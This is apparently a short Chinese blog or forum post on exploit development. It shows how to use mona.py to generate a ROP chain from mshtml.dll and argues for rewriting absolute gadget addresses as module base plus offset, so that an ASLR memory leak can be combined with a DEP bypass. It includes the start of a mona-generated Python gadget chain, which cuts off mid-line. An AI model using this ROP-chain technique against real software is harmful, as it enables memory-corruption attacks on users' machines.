在溢出的时候,为了绕过需要一个ROP链,此时可以使用mona模块生成一个ROP链,命令为!py mona rop -m mshtml.dll ,此时生成的ROP是一个决定地址的,这样生成的ROP不能在其他电脑上使用,或者电脑重启之后也不能使用了,我们常见的溢出利用思路是利用内存泄漏绕过ASLR,然后利用ROP绕过DEP,此时就需要生成一个相对的ROP(即包含模块基地址+偏移)
我自己写了段python代码,实现这一功能:
首先将mona生成的ROP部分保存为jueduidizhi.txt,代码如下:
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = ""
rop_gadgets += struct.pack('<L',0x68edd743) # POP EBP # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68edd743) # skip 4 bytes [mshtml.dll]
rop_gadgets += struct.pack('<L',0x692a240a) # POP EBX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00000201) # 0x00000201-> ebx
rop_gadgets += struct.pack('<L',0x6916b796) # POP EDX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00000040) # 0x00000040-> edx
rop_gadgets += struct.pack('<L&#